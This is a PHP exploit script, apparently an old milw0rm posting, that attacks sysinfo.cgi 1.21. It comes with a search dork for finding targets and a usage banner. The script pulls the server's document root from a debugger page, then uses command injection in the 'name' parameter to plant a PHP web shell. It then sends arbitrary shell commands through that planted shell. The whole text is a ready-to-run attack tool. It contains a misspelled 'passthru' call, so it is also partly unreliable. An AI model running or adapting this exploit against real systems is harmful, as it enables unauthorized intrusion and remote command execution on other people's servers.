146 lines
No EOL
4 KiB
PHP
146 lines
No EOL
4 KiB
PHP
#!/usr/bin/php -q -d short_open_tag=on
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<?
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echo "sysinfo.cgi 1.21 remote cmmnds xctn \r\n";
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echo "by rgod rgod@autistici.org\r\n";
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echo "site: http://retrogod.altervista.org\r\n\r\n";
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echo "dork: inurl:sysinfo.cgi ext:cgi\r\n\r\n";
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if ($argc<4) {
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echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
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echo "host: target server (ip/hostname)\r\n";
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echo "path: path to sysinfo.cgi\r\n";
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echo "cmd: a shell command\r\n";
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echo "Options:\r\n";
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echo " -p[port]: specify a port other than 80\r\n";
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echo " -P[ip:port]: specify a proxy\r\n";
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echo "Examples:\r\n";
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echo "php ".$argv[0]." localhost /cgi-bin/sysinfo/ \n";
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echo "php ".$argv[0]." localhost /cgi-bin/sysinfo/ ls -la -p81\r\n";
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echo "php ".$argv[0]." localhost /cgi-bin/ ls -la -P1.1.1.1:80\r\n";
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die;
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}
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/* tested on sysinfo.cgi v1.21:
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http;//[target]/cgi-bin/sysinfo.cgi?action=systemdoc&name=;[some_command]
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you don't see any output but you can redirect some shellcode to some file
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also you can disclose www path:
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http;//[target]/cgi-bin/sysinfo.cgi?action=debugger
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*/
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error_reporting(0);
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ini_set("max_execution_time",0);
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ini_set("default_socket_timeout",5);
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function quick_dump($string)
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{
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$result='';$exa='';$cont=0;
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for ($i=0; $i<=strlen($string)-1; $i++)
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{
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if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
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{$result.=" .";}
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else
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{$result.=" ".$string[$i];}
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if (strlen(dechex(ord($string[$i])))==2)
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{$exa.=" ".dechex(ord($string[$i]));}
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else
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{$exa.=" 0".dechex(ord($string[$i]));}
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$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
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}
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return $exa."\r\n".$result;
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}
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$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
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function sendpacketii($packet)
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{
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global $proxy, $host, $port, $html, $proxy_regex;
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if ($proxy=='') {
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$ock=fsockopen(gethostbyname($host),$port);
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if (!$ock) {
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echo 'No response from '.$host.':'.$port; die;
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}
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}
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else {
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$c = preg_match($proxy_regex,$proxy);
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if (!$c) {
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echo 'Not a valid proxy...';die;
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}
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$parts=explode(':',$proxy);
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echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
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$ock=fsockopen($parts[0],$parts[1]);
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if (!$ock) {
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echo 'No response from proxy...';die;
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}
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}
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fputs($ock,$packet);
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if ($proxy=='') {
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$html='';
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while (!feof($ock)) {
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$html.=fgets($ock);
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}
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}
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else {
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$html='';
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while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
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$html.=fread($ock,1);
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}
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}
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fclose($ock);
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#debug
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#echo "\r\n".$html;
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}
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$host=$argv[1];
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$path=$argv[2];
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$cmd="";$port=80;$proxy="";
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for ($i=3; $i<=$argc-1; $i++){
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$temp=$argv[$i][0].$argv[$i][1];
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if (($temp<>"-p") and ($temp<>"-P"))
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{$cmd.=" ".$argv[$i];}
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if ($temp=="-p")
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{
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$port=str_replace("-p","",$argv[$i]);
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}
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if ($temp=="-P")
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{
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$proxy=str_replace("-P","",$argv[$i]);
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}
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}
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if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
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if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
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//step 1 -> retrieve application path
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$packet ="GET ".$p."sysinfo.cgi?action=debugger HTTP/1.0\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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#echo quick_dump($packet);
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sendpacketii($packet);
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$temp=explode("name=\"pfad\" value=\"",$html);
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$temp2=explode("\"",$temp[1]);
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$pfad=$temp2[0];
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if ($pfad=='') {die("cannot retrieve document root...\r\n");}
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echo "document root ->".$pfad."\r\n";
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//step 2 -> we don't see any output, so let's create a php shell, you know, I'm phpcentric
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$temp=";echo \<?php passtrhu\(\\\$_GET[cmd]\)?\> > ".$pfad."/phpinfo.php";
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$temp=urlencode($temp);
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$packet ="GET ".$p."sysinfo.cgi?action=systemdoc&name=".$temp." HTTP/1.0\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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#echo quick_dump($packet);
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sendpacketii($packet);
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//step 3 -> launch commands
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$packet ="GET /phpinfo.php?cmd=".urlencode($cmd)." HTTP/1.0\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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#echo quick_dump($packet);
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sendpacketii($packet);
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echo $html;
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?>
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# milw0rm.com [2006-04-14]
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